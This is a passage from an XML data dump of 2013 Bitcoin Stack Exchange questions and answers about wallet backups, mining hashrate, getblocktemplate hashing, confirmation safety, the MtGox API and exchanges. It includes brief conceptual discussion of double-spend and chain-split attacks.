  <row Id="13389" PostTypeId="2" ParentId="13382" CreationDate="2013-09-18T19:14:57.403" Score="1" Body="&lt;p&gt;Since you don't mention the operating system, but talk about &quot;clicking the uninstall icon&quot; I am assuming that you are using Windows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making a backup of your &lt;em&gt;wallet.dat&lt;/em&gt; before updates and at regular intervals is sensible. If you installed &lt;em&gt;bitcoin-qt 0.8.5&lt;/em&gt; into the same directory as &lt;em&gt;bitcoin-qt 0.8.1&lt;/em&gt;, uninstalling the older &lt;em&gt;bitcoin-qt 0.8.1&lt;/em&gt; might break your new install. If they are in separate install directories I would expect it to be alright (just based on what I would consider expected behaviour, I don't have intimate knowledge of the behaviour of the Bitcoin-QT-Windows client).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you added any new addresses in since you imported the wallet to &lt;em&gt;bitcoin-qt 0.8.5&lt;/em&gt; you might have generated them after the last backup, so it would be prudent to create an additional backup of the newest &lt;em&gt;wallet.dat&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, I'd consider the following the correct order for an update (unless the software has its own update function):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;backup&lt;/li&gt;&#xA;&lt;li&gt;uninstall old&lt;/li&gt;&#xA;&lt;li&gt;install new&lt;/li&gt;&#xA;&lt;li&gt;import backup (by keeping the backup alive!)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-09-18T19:14:57.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13390" PostTypeId="1" CreationDate="2013-09-18T22:32:13.773" Score="0" ViewCount="632" Body="&lt;p&gt;Trying to generate useful stats about client activity in a pool. If a quantity of submitted (timestamped) shares is known, and the difficulty of each share is known, how can the client's aggregate hashrate be determined?&lt;/p&gt;&#xA;" OwnerUserId="6058" LastActivityDate="2013-09-18T23:06:52.930" Title="Can a miner's hashrate be derived from shares submitted at a given difficulty?" Tags="|mining-pools|difficulty|mining-pool-shares|" AnswerCount="1" CommentCount="0" ClosedDate="2013-11-06T16:56:12.030" ContentLicense="CC BY-SA 3.0" />
  <row Id="13391" PostTypeId="2" ParentId="13390" CreationDate="2013-09-18T23:06:52.930" Score="2" Body="&lt;pre&gt;&lt;code&gt;hashes = shares * share_difficulty * 2**48 / 65535&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;megahash_per_second = shares_per_second * share_difficulty * 4295.032833&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-09-18T23:06:52.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13393" PostTypeId="2" ParentId="8557" CreationDate="2013-09-18T23:55:08.503" Score="0" Body="&lt;p&gt;&lt;em&gt;(Disclaimer: I am not a lawyer, and your employer may be weird)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not really. Bitcoin isn't directly related with any bank, so where to directly deposit would be the biggest question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use &lt;a href=&quot;https://coinbase.com&quot; rel=&quot;nofollow&quot; title=&quot;Coinbase&quot;&gt;Coinbase&lt;/a&gt;, which makes it stupidly easy to buy bitcoins with any US bank account for a very small fee. If you're in Europe, I would recommend &lt;a href=&quot;https://www.bitstamp.net&quot; rel=&quot;nofollow&quot; title=&quot;BitStamp&quot;&gt;Bitstamp&lt;/a&gt;, which supports SEPA transfers from any bank that supports it (like most European banks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to have your employer give you cash and you can directly trade that with a local trader from a site like &lt;a href=&quot;https://localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;Local Bitcoins&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as great as bitcoin is, I would recommend continuing to get your payments in USD and converting to bitcoin when you need to pay, instead of the other way around.&lt;/p&gt;&#xA;" OwnerUserId="4722" LastActivityDate="2013-09-18T23:55:08.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13394" PostTypeId="1" CreationDate="2013-09-19T02:50:47.477" Score="1" ViewCount="4440" Body="&lt;p&gt;I've been reading lots of articles, trying to understand how to hash the data returned from &lt;code&gt;getwork&lt;/code&gt;; but I totally overlooked &lt;code&gt;getblocktemplate&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just trying to understand how all the data below is put together to generate hashes, in order to form a valid block (using various nonces).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies if this has been answered already. I know there are lots of articles on how to put together a block header, and using midstate, etc. Most of that I understand; but the data composition of &lt;code&gt;getblocktemplate&lt;/code&gt; is quite a bit different, and really threw me off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone would be kind enough to explain the whole hashing process (from a mining point of view), I'd really appreciate it. A programmatic explanation would be ideal, as I'm trying to make my own mining client. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;result&quot;:{&#xA;        &quot;version&quot;:2,&#xA;        &quot;previousblockhash&quot;:&quot;00000000000000075f2f454573766ffae69fe41d6c7ccfcabbf8588fcd80ed52&quot;,&#xA;        &quot;transactions&quot;:[&#xA;                  {     &#xA;                        &quot;data&quot;:&quot;0100000001cba672d0bfdbcc441d171ef0723a191bf050932c6f8adc8a05b0cac2d1eb022f010000006c493046022100a23472410d8fd7eabf5c739bdbee5b6151ff31e10d5cb2b52abeebd5e9c06977022100c2cdde5c632eaaa1029dff2640158aaf9aab73fa021ed4a48b52b33ba416351801210212ee0e9c79a72d88db7af3fed18ae2b7ca48eaed995d9293ae0f94967a70cdf6ffffffff02905f0100000000001976a91482db4e03886ee1225fefaac3ee4f6738eb50df9188ac00f8a093000000001976a914c94f5142dd7e35f5645735788d0fe1343baf146288ac00000000&quot;,&#xA;                        &quot;hash&quot;:&quot;7c90a5087ac4d5b9361d47655812c89b4ad0dee6ecd5e08814d00ce7385aa317&quot;,&#xA;                        &quot;depends&quot;:[],&#xA;                        &quot;fee&quot;:10000,&#xA;                        &quot;sigops&quot;:2&#xA;                  },&#xA;                  ...&#xA;            ],&#xA;        &quot;coinbaseaux&quot;:{&#xA;            &quot;flags&quot;:&quot;062f503253482f&quot;&#xA;        },&#xA;        &quot;coinbasevalue&quot;:2501100000,&#xA;        &quot;target&quot;:&quot;0000000000000026222200000000000000000000000000000000000000000000&quot;,&#xA;        &quot;mintime&quot;:1379549850,&#xA;        &quot;mutable&quot;:[&#xA;            &quot;time&quot;,&#xA;            &quot;transactions&quot;,&#xA;            &quot;prevblock&quot;&#xA;        ],&#xA;        &quot;noncerange&quot;:&quot;00000000ffffffff&quot;,&#xA;        &quot;sigoplimit&quot;:20000,&#xA;        &quot;sizelimit&quot;:1000000,&#xA;        &quot;curtime&quot;:1379553872,&#xA;        &quot;bits&quot;:&quot;19262222&quot;,&#xA;        &quot;height&quot;:258736&#xA;    },&#xA;    &quot;error&quot;:null,&#xA;    &quot;id&quot;:&quot;curltest&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6786" LastEditorUserId="5406" LastEditDate="2016-04-24T08:55:38.767" LastActivityDate="2016-04-24T08:55:38.767" Title="How to hash data from 'getblocktemplate' request" Tags="|development|hash|mining-technical-details|getblocktemplate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13395" PostTypeId="1" AcceptedAnswerId="13396" CreationDate="2013-09-19T06:06:09.427" Score="7" ViewCount="180" Body="&lt;p&gt;I am providing a service that accepts Bitcoin. In order to speed things up a bit, I am planning to reduce the number of confirmations I require before I consider the money to have arrived. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read that it is quite safe to work with even a single confirmation if you take some precautions measures. What are those? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically, with which options should I run bitcoind ? &lt;/p&gt;&#xA;" OwnerUserId="4356" LastActivityDate="2013-09-19T09:28:13.977" Title="What precautions to take when working with only one or two confirmations?" Tags="|confirmations|doublespend|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13396" PostTypeId="2" ParentId="13395" CreationDate="2013-09-19T08:13:37.467" Score="7" Body="&lt;p&gt;At the moment there's very little orphaning of blocks, and next to no occurrence of two-block side chains. Unless you're dealing with large amounts (larger than two block rewards worth, probably), your chances of attack are incredibly incredibly low. If you're dealing with amounts less than a few BTC, I'd personally be happy accepting one-confirmation transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no specific flags for &lt;code&gt;bitcoind&lt;/code&gt; that you can use to control confirmations, it's all in your software's side. Generally if you're a merchant, you should avoid having a listening node (set &lt;code&gt;listen=0&lt;/code&gt;) just to be on the safe side. Be sure to be using cold storage if your server accumulates a target-worthy amount of currency, by sending off to an address that the server does not know the private key of. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not using &lt;code&gt;walletnotify&lt;/code&gt; to control your internal accounting system, you probably should. &lt;/p&gt;&#xA;" OwnerUserId="6454" LastEditorUserId="6454" LastEditDate="2013-09-19T08:19:50.727" LastActivityDate="2013-09-19T08:19:50.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13397" PostTypeId="2" ParentId="13394" CreationDate="2013-09-19T08:23:39.403" Score="2" Body="&lt;p&gt;The wiki has an extremely good explanation, with a python run-through that takes you from GBT output to share submission. You could also have a look at some of the implementation in Luke-Jr's &quot;gmp-proxy&quot;, which translates GBT reponses into a &lt;code&gt;getwork&lt;/code&gt; compatible interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Getblocktemplate&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Getblocktemplate&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitlab.com/bitcoin/eloipool/blob/master/gmp-proxy.py&quot; rel=&quot;nofollow&quot;&gt;https://gitlab.com/bitcoin/eloipool/blob/master/gmp-proxy.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6454" LastEditorUserId="2306" LastEditDate="2015-12-22T22:00:10.537" LastActivityDate="2015-12-22T22:00:10.537" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13399" PostTypeId="2" ParentId="13395" CreationDate="2013-09-19T09:28:13.977" Score="3" Body="&lt;p&gt;There's a significant increase in the risk of being defrauded when the merchant accepts payment 0/unconfirmed and at the same time has bitcoind configured for incoming transactions.  In that situation, the attacker can reach a near 100% success in double spending against the merchant simply by making a direct connection to that merchant's node and broadcasting one transaction to it and then to the rest of the network broadcasting a double spend transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when the merchant waits until there is at least one confirmation the this race attack risk essentially disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To disable listening, the setting is &quot;listen=0&quot;.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-09-19T09:28:13.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13402" PostTypeId="1" AcceptedAnswerId="13404" CreationDate="2013-09-19T11:54:34.940" Score="1" ViewCount="711" Body="&lt;p&gt;MtGox Streaming API is down or is something wrong with the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this example https:// bitbucket.org/nitrous/mtgox-api/src/004c254993963baeb239ac7ac7f676b5024fc93f/socket/ws.client.html?at=master&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the example here &lt;a href=&quot;http://atc.leadsoft.eu/test.html&quot; rel=&quot;nofollow&quot;&gt;http://atc.leadsoft.eu/test.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I entered the server url (&lt;a href=&quot;https://socketio.mtgox.com/mtgox&quot; rel=&quot;nofollow&quot;&gt;https://socketio.mtgox.com/mtgox&lt;/a&gt;) and click connect, but most of the time it writes only Connected or Connection timeout and freezes.&lt;/p&gt;&#xA;" OwnerUserId="6808" LastEditorUserId="-1" LastEditDate="2013-09-20T12:11:49.580" LastActivityDate="2013-09-20T12:11:49.580" Title="MtGox socket.io streaming problem" Tags="|mtgox|api|websockets|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13403" PostTypeId="2" ParentId="12907" CreationDate="2013-09-19T14:24:09.067" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinpolice.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoinpolice.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try to get some information from the google cache: www.google.com/search?q=site%3Ahttp%3A%2F%2Fbitcoinpolice.org&lt;/p&gt;&#xA;&#xA;&lt;p&gt;blockchain.info contain great information about who/where/when/how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, probably no one, except Security Services, can get all of information about credits, who got bitcoin on one place, who spent bitcoin on other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus, if we start to look at the distribution of the markets and popularity of bitcoin, and keep in mind, that Credit Card fraud are still alive, then anybody can get anonymously great amount of bitcoins and anonymously transfer it to any Earth's point.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We discussed for the best way for terrorists to get money.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Mining of bitcoin is not a best way for terrorists to get money, but to transfer, its looks like greatest one. (1 hour = 6 confirmations, and one terrorist have completely paying another for service)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway google will help you to get more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And don't forget to looking for same question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11673/can-my-transactions-be-traced-back-to-me-even-if-i-do-this&quot;&gt;Can my transactions be traced back to me even if I do this?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6799" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-09-19T14:24:09.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13404" PostTypeId="2" ParentId="13402" CreationDate="2013-09-19T15:21:14.120" Score="1" Body="&lt;p&gt;Basically Mtgox's api sucks. It's not your fault, its theirs. It's almost impossible to programmatically get a good reading of their order book. &lt;code&gt;socket.io&lt;/code&gt; only works about 20% of the time and the &lt;code&gt;http&lt;/code&gt; api often gives just wrong information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get around this I have several server instances constantly reconnecting an disconnecting until a successful steam is established and then it reports back to me until it fails. The idea is to always have at least one working stream. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize this can be incredibly impractical so you may want to use a service like &lt;a href=&quot;http://bitcoincharts.com/&quot; rel=&quot;nofollow&quot;&gt;bitcoin charts&lt;/a&gt; which has their own api, but if you need data more then every 15 min you will either have to pay or come up with some round about solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=285578.0;topicseen&quot; rel=&quot;nofollow&quot;&gt;Here's&lt;/a&gt; some other people complaining about the same thing. One suggests using &lt;code&gt;websockets&lt;/code&gt; and claims that he's had more success.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2013-09-19T17:22:49.017" LastActivityDate="2013-09-19T17:22:49.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13405" PostTypeId="2" ParentId="13379" CreationDate="2013-09-19T15:25:58.300" Score="1" Body="&lt;p&gt;I'm not a gambler, but it's probably doable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depends what sort of payments your chosen gambling site accepts. If they accept bitcoins, then simply buy some BTC at an exchange funded using your bank account, then withdraw your new BTC from the exchange directly into your gambling account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you chosen gambling site doesn't accept BTC, you could always still transfer it via and exchange, although this seems a bit silly as there are probably cheaper services to send the money via.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this method, you'll obviously incur transaction fees at the exchange, as well as deposit/withdrawal fees, and possibly currency conversion fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another alternative that wouldn't use Bitcoin would be to send the money via TransferWise. TransferWise recently stopped handling Bitcoin related transactions, they also may not be happy about sending money to gambling websites, although I'm not sure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl;dr Yes - convert it to Bitcoin and back into fiat if that's all your gambling site accepts. Could prove costly though.&lt;/p&gt;&#xA;" OwnerUserId="6811" LastActivityDate="2013-09-19T15:25:58.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13406" PostTypeId="1" AcceptedAnswerId="13408" CreationDate="2013-09-19T16:11:19.797" Score="1" ViewCount="863" Body="&lt;p&gt;I'm working with bitcoin-qt to send payments, the config file is set to work with JSON-RPC.&#xA;it's include the rpcuser and rpcpassword, all calls I make to the wallet works fine, on the UI of the bitcoin-qt.exe I wanted to encrypt the wallet so every send payment I do from the UI will ask me for user password, I did it from setting-&gt;encrypt wallet. &#xA;After that all calls from JSON RPC I get an error &quot;The remote server returned an error: (500) Internal Server Error.&quot; . should I add something in the conf file ? &lt;/p&gt;&#xA;" OwnerUserId="5152" LastActivityDate="2013-09-19T18:45:12.180" Title="how to set the conf file ,if my wallet is encrypted" Tags="|bitcoin-core|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13407" PostTypeId="2" ParentId="13241" CreationDate="2013-09-19T17:18:36.013" Score="0" Body="&lt;p&gt;On the Windows, I just replaced the directories and it worked fine.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastEditorUserId="6540" LastEditDate="2015-02-04T20:23:29.983" LastActivityDate="2015-02-04T20:23:29.983" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13408" PostTypeId="2" ParentId="13406" CreationDate="2013-09-19T18:45:12.180" Score="1" Body="&lt;p&gt;You need to issue the &lt;code&gt;walletpassphrase&lt;/code&gt; RPC command to unlock the wallet for some time, before you can perform send operations.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-09-19T18:45:12.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13409" PostTypeId="1" AcceptedAnswerId="13412" CreationDate="2013-09-20T02:03:33.413" Score="1" ViewCount="11756" Body="&lt;p&gt;I just got my usb block erupters and I was wondering what is the best tutorial on setting this up to join a mining pool? I'm currently on Windows. I want to be able to mine other alt-coins that uses SHA-256. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2016-04-01T09:11:03.517" LastActivityDate="2018-01-26T17:05:34.280" Title="Best tutorial and info on setting up ASIC Mining USB Block Erupters to join a mining pool?" Tags="|mining-pools|asic|miner-configuration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13410" PostTypeId="1" CreationDate="2013-09-20T04:53:09.650" Score="1" ViewCount="1091" Body="&lt;p&gt;Help, i was running bitcoin and i saw this error message popup saying...f.cloud.github.com/assets/4311082/448597/… what could be causing this and how can i fix it?&#xA;*Update*I fixed it by backing up the files uninstalling and reinstlling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but now im trying to figure out my privatekey because i heard you can transfer coins from your address with it. but everytime i go in debug window and type in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;00:42:22&#xA;￼&#xA;dumpprivkey &amp;lt;...&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it says&lt;/p&gt;&#xA;&#xA;&lt;p&gt;00:42:22&#xA;￼&#xA;Invalid Bitcoin address (code -5)&#xA;i replaced my address with three dots but why is it saying that? i go check my wallet in blockchain and it works there it says i have money and everything...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also when i try to import my wallet.dat file in &lt;a href=&quot;https://blockchain.info/wallet/import-wallet&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/import-wallet&lt;/a&gt; it keeps saying Wallet decrypter returned empty response when i dont enter a password&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it says Unexpected end of file from server when i type in the password at the end...what could be causing this? why cant i find out my privatekey? help please!!!&lt;/p&gt;&#xA;" OwnerUserId="6789" LastEditorUserId="2306" LastEditDate="2015-03-13T14:38:43.370" LastActivityDate="2015-03-13T14:38:43.370" Title="Cannot seem to recover my privatekey Or import my wallet on blockchain why? help" Tags="|blockchain.info|wallet-import|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13412" PostTypeId="2" ParentId="13409" CreationDate="2013-09-20T14:41:50.660" Score="1" Body="&lt;p&gt;Here's a decent bitcointalk thread: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=28402.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=28402.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a more direct walkthrough of the installation (for windows 7 at least): &lt;a href=&quot;http://rdmsnippets.com/tag/install-block-erupter-on-windows-7/&quot; rel=&quot;nofollow&quot;&gt;http://rdmsnippets.com/tag/install-block-erupter-on-windows-7/&lt;/a&gt; which will likely be helpful.&lt;/p&gt;&#xA;" OwnerUserId="4923" LastActivityDate="2013-09-20T14:41:50.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13414" PostTypeId="1" CreationDate="2013-09-20T16:17:44.750" Score="3" ViewCount="282" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;Scenario&lt;/em&gt;&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mallory&lt;/strong&gt;, &lt;strong&gt;Alice&lt;/strong&gt; and &lt;strong&gt;Bob&lt;/strong&gt; found block on their farm. &lt;/li&gt;&#xA;&lt;li&gt;They disconnect from internet, simulating &lt;strong&gt;split&lt;/strong&gt; and change all of nodes in their segment to malicious. &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Malicious&lt;/strong&gt; nodes decrease complication of block founding, and dramatically outrace whole of world.&lt;/li&gt;&#xA;&lt;li&gt;After a week, they restore &lt;strong&gt;original&lt;/strong&gt; clients on their nodes and plug the network back.&lt;/li&gt;&#xA;&lt;li&gt;Their chain &lt;strong&gt;bigger&lt;/strong&gt; than world's and they gather total week's bounty 25,200 btc, more than 2,520,000 $.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What part of code protect us? &lt;strong&gt;Raw code is appreciated.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12944/is-bitcoin-protocol-secure-if-two-network-has-no-connection/12945#12945&quot;&gt;Is the Bitcoin protocol secure if two parts of the network have no connection?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8554/scenario-disaster-splits-the-internet-into-dozens-unconnected-fragments?lq=1&quot;&gt;Scenario: disaster splits the Internet into dozens unconnected fragments&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1738/what-would-happen-if-a-portion-of-the-bitcoin-network-was-separated-from-the-res&quot;&gt;What would happen if a portion of the Bitcoin network was separated from the rest of the network?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8735/whats-the-impact-of-net-splits-on-block-generation-over-a-long-period-of-tim&quot;&gt;What&amp;#39;s the impact of net-splits on block generation... over a long period of time?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6799" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-09-22T22:12:44.577" Title="Attack on bitcoin network with modified client?" Tags="|attack|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13415" PostTypeId="2" ParentId="13414" CreationDate="2013-09-20T16:50:13.557" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes and no. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The behaviour you are describing a normal feature of the functioning network, that is, the most difficult to produce (often but not necessarily the longest) chain will always win. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Malicious nodes decrease complication of block founding, and dramatically outrace whole of world.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When the two networks rejoin, the second one having a lower difficulty, the new blocks would be instantly rejected. This is due to bitcoin looking for the most difficult chain to produce, not the ultimate highest block. A shorter chain with a higher cumulative difficulty is preferred over a longer, easier to product once. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, it would take a very large amount of computing power even just to ride the difficulty down. A single entity or group solving just a single block at difficulty 112M is unlikely, and they would need to solve up to 2015 of them to reach the next adjustment period. If they had enough hashpower to do that, they would be a lot better off financially just mining on the real network rather than attempting to attack it. &lt;/p&gt;&#xA;" OwnerUserId="6454" LastEditorUserId="6454" LastEditDate="2013-09-22T22:12:44.577" LastActivityDate="2013-09-22T22:12:44.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13416" PostTypeId="1" CreationDate="2013-09-20T19:05:42.687" Score="2" ViewCount="370" Body="&lt;p&gt;In terms of user scalability, how many total users is the current bitcoin system best suited for? Example: The current bitcoin mining limit is set at 21 million, therefore the bitcoin ceiling does not allow for 7 billion+ users (Earth's growing population). So, what is the maximum amount of users bitcoin is ideally suited for?&lt;/p&gt;&#xA;" OwnerUserId="6823" LastActivityDate="2013-09-21T21:38:45.160" Title="What is the maximum amount of users bitcoin is ideally suited for?" Tags="|network|bitcoin-economy|money-supply|scalability|architecture|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13417" PostTypeId="2" ParentId="13416" CreationDate="2013-09-20T19:16:25.167" Score="3" Body="&lt;p&gt;This is a highly speculative question. From a technical point of view there will eventually be 21 million (21e6) bitcoins in circulation, yes. But we are already witnessing a shift to using the millibitcoin (mBTC) when denominating prices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This use of ever smaller fractions may go on until we reach the satoshi (1e-8 bitcoins). We would effectively have 21e14 satoshis in circulation. Even this limit could be shifted if there is consensus among the users of Bitcoin that such a change is indeed needed, but let's assume that it is indeed a hard limit. So we would have 21e14 units of accounting for a &lt;a href=&quot;http://en.wikipedia.org/wiki/World_population&quot; rel=&quot;nofollow&quot;&gt;world population of 7e9&lt;/a&gt;. That would mean that on average each human would own 3e5, or 300'000 satoshis. The purchasing power of those satoshis depends on the evolution of the market price, but there certainly is no technical limit to the widespread adoption of Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2013-09-21T21:38:45.160" LastActivityDate="2013-09-21T21:38:45.160" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13418" PostTypeId="2" ParentId="12163" CreationDate="2013-09-20T20:14:58.443" Score="0" Body="&lt;p&gt;You can get litecoin wallet straight on any crypto exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://btc-e.com&quot; rel=&quot;nofollow&quot;&gt;http://btc-e.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://vircurex.com&quot; rel=&quot;nofollow&quot;&gt;http://vircurex.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://litecoinglobal.com&quot; rel=&quot;nofollow&quot;&gt;http://litecoinglobal.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bter.com&quot; rel=&quot;nofollow&quot;&gt;http://bter.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://coinex.pw&quot; rel=&quot;nofollow&quot;&gt;https://coinex.pw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://justcoin.com&quot; rel=&quot;nofollow&quot;&gt;http://justcoin.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.converterhub.com&quot; rel=&quot;nofollow&quot;&gt;http://www.converterhub.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mtgox made advertisement that namecoin and litecoin &lt;a href=&quot;https://www.mtgox.com/press_release_20130805.html&quot; rel=&quot;nofollow&quot;&gt;coming soon&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;LiteCoin Update &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We hate to apologize yet again for the delay in&#xA;  implementing Litecoin, but the fact of the matter is that it depends&#xA;  on a variety of factors, including completing all of the above before&#xA;  we launch. We're looking forward to the rollout, but at this point are&#xA;  reluctant to speculate on when. We are sorry to keep Litecoin&#xA;  enthusiasts 